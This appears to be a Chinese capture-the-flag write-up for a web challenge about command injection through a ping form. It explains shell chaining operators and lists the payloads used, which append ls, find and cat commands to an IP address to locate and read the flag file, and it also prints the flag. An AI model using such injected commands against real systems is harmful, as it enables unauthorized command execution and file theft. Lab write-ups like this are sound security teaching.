攻防世界-WEB:command_execution

题目https://adworld.xctf.org.cn/challenges/problem-set-index?id=25

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。

根据题目描述,我们可以推测应该是在ping命令拼接了其他命令导致文件信息的泄露。

打开场景

首先要能ping通才能有迹可寻,尝试ping127.0.0.1.

能够ping通并且有回包,那我们再试着拼接语句。

知识补充

windows 或 linux 下:

  1. command1 && command2 先执行 command1,如果为真,再执行 command2

  1. command1 | command2 只执行 command2

  1. command1 & command2 先执行 command2 后执行 command1

  1. command1 || command2 先执行 command1,如果为假,再执行 command2

命令执行漏洞(| || & && 称为 管道符)

那在这里我们使用&、&&、|都可以用来拼接

首先查看有没有文件

127.0.0.1 | ls

有个index.php文件,那接下来直接利用find查找是否存在flag文件

127.0.0.1|find / -name "flag*"

发现txt文件,直接用cat查看

127.0.0.1|cat /home/flag.txt

发现flag

cyberpeace{506e217e083b3339831a12159382c7b2}

总结:

这道题主要是掌握命令拼接的方法,和熟悉Linux命令

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值